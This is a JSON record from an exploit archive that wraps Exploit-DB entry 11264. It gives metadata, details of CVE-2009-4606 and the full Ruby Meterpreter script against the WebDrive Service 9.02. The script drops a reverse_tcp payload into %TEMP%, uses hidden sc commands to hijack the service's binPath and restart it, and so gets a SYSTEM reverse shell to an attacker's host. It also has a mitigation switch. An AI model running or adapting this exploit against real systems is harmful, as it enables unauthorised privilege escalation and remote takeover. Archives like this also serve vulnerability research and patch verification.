{"exploit":{"id":"EDB-11264","name":"South River Technologies WebDrive Service 9.02 build 2232 - Bad Security Descriptor Privilege Escalation","description":"South River Technologies WebDrive Service 9.02 build 2232 - Bad Security Descriptor Privilege Escalation","cves":["CVE-2009-4606"],"author":"Trancer","published":"2010-01-26","platform":"windows","type":"local","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/11264","path":"exploits/windows/local/11264.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-11264.rb","vulnerabilities":[{"id":"CVE-2009-4606","state":"PUBLISHED","title":null,"titleSource":null,"description":"South River Technologies WebDrive 9.02 build 2232 installs the WebDrive Service without a security descriptor, which allows local users to (1) stop the service via the stop command, (2) execute arbitrary commands as SYSTEM by using the config command to modify the binPath variable, or (3) restart the service via the start command.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-4606","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-4606"},"updatedAt":"2024-08-07T07:08:37.930Z","retrievedAt":"2026-11-26T17:09:36.328Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-11264.png?v=2","url":"https://exploitbin.com/exploits/EDB-11264","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-11264/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-11264/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# South River Technologies WebDrive Service Bad Security Descriptor Local Privilege Escalation.\n#\n#  This module exploits a privilege escalation vulnerability in South River Technologies WebDrive.\n#  Due to an empty security descriptor, a local attacker can gain elevated privileges.\n#  Tested on South River Technologies WebDrive 9.02 build 2232 on Microsoft Windows XP SP3.\n#  Vulnerability mitigation featured.\n#\n#  Credit:\n#   - Discovery\t\t\t- Nine:Situations:Group::bellick\n#   - Meterpreter script\t- Trancer\n#\n#  References:\n#   - http://retrogod.altervista.org/9sg_south_river_priv.html\n#   - http://www.rec-sec.com/2010/01/26/srt-webdrive-privilege-escalation/\n#   - http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-4606\n#   - http://osvdb.org/show/osvdb/59080\n#\n#  mtrancer[@]gmail.com\n#  http://www.rec-sec.com\n##\n\n#\n# Options\n#\nopts = Rex::Parser::Arguments.new(\n\t\"-h\"  => [ false,  \"This help menu\"],\n\t\"-m\"  => [ false,  \"Mitigate\"],\n\t\"-r\"  => [ true,   \"The IP of the system running Metasploit listening for the connect back\"],\n\t\"-p\"  => [ true,   \"The port on the remote host where Metasploit is listening\"]\n)\n\n#\n# Default parameters\n#\n\nrhost = Rex::Socket.source_address(\"1.2.3.4\")\nrport = 4444\nsname = 'WebDriveService'\npname = 'wdService.exe'\n\n#\n# Option parsing\n#\nopts.parse(args) do |opt, idx, val|\n\tcase opt\n\twhen \"-h\"\n\t\tprint_status(\"South River Technologies WebDrive Service Bad Security Descriptor Local Privilege Escalation.\")\n\t\tprint_line(opts.usage)\n\t\traise Rex::Script::Completed\n\twhen \"-m\"\n\t\tclient.sys.process.get_processes().each do |m|\n\t\t\tif ( m['name'] == pname )\n\t\t\t\tprint_status(\"Found vulnerable process #{m['name']} with pid #{m['pid']}.\")\n\n\t\t\t\t# Set correct service security descriptor to mitigate the vulnerability\n\t\t\t\tprint_status(\"Setting correct security descriptor for the South River Technologies WebDrive Service.\")\n\t\t\t\tclient.sys.process.execute(\"cmd.exe /c sc sdset \\\"#{sname}\\\" D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPLOCRRC;;;PU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY)\", nil, {'Hidden' => 'true'})\n\t\t\tend\n\t\tend\n\t\traise Rex::Script::Completed\n\twhen \"-r\"\n\t\trhost = val\n\twhen \"-p\"\n\t\trport = val.to_i\n\tend\nend\n\nclient.sys.process.get_processes().each do |m|\n\tif ( m['name'] == pname )\n\n\t\tprint_status(\"Found vulnerable process #{m['name']} with pid #{m['pid']}.\")\n\n\t\t# Build out the exe payload.\n\t\tpay = client.framework.payloads.create(\"windows/meterpreter/reverse_tcp\")\n\t\tpay.datastore['LHOST'] = rhost\n\t\tpay.datastore['LPORT'] = rport\n\t\traw  = pay.generate\n\n\t\texe = Msf::Util::EXE.to_win32pe(client.framework, raw)\n\n\t\t# Place our newly created exe in %TEMP%\n\t\ttempdir = client.fs.file.expand_path(\"%TEMP%\")\n\t\ttempexe = tempdir + \"\\\\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + \".exe\"\n\t\tprint_status(\"Sending EXE payload '#{tempexe}'.\")\n\t\tfd = client.fs.file.new(tempexe, \"wb\")\n\t\tfd.write(exe)\n\t\tfd.close\n\n\t\t# Stop the vulnerable service\n\t\tprint_status(\"Stopping service \\\"#{sname}\\\"...\")\n\t\tclient.sys.process.execute(\"cmd.exe /c sc stop \\\"#{sname}\\\" \", nil, {'Hidden' => 'true'})\n\n\t\t# Set exe payload as service binpath\n\t\tprint_status(\"Setting \\\"#{sname}\\\" to #{tempexe}...\")\n\t\tclient.sys.process.execute(\"cmd.exe /c sc config \\\"#{sname}\\\" binpath= #{tempexe}\", nil, {'Hidden' => 'true'})\n\t\tsleep(1)\n\n\t\t# Restart the service\n\t\tprint_status(\"Restarting the \\\"#{sname}\\\" service...\")\n\t\tclient.sys.process.execute(\"cmd.exe /c sc start \\\"#{sname}\\\" \", nil, {'Hidden' => 'true'})\n\n\t\t# Our handler to recieve the callback.\n\t\thandler = client.framework.exploits.create(\"multi/handler\")\n\t\thandler.datastore['PAYLOAD'] \t\t= \"windows/meterpreter/reverse_tcp\"\n\t\thandler.datastore['LHOST']   \t\t= rhost\n\t\thandler.datastore['LPORT']   \t\t= rport\n\t\thandler.datastore['ExitOnSession'] \t= false\n\n\t\thandler.exploit_simple(\n\t\t\t'Payload'\t=> handler.datastore['PAYLOAD'],\n\t\t\t'RunAsJob'\t=> true\n\t\t)\n\n\t\t# Set service binpath back to normal\n\t\tclient.sys.process.execute(\"cmd.exe /c sc config \\\"#{sname}\\\" binpath= %ProgramFiles%\\\\WebDrive\\\\#{pname}\", nil, {'Hidden' => 'true'})\n\n\tend\nend","sha256":"fed97550550a49e78e41e246b1fb4e4f26cf5c8d9e6019968aab0880147f73f4","bytes":4033,"fetchedAt":"2026-11-26T17:09:34.181Z","encoding":"utf-8 (display only; download retains original bytes)"}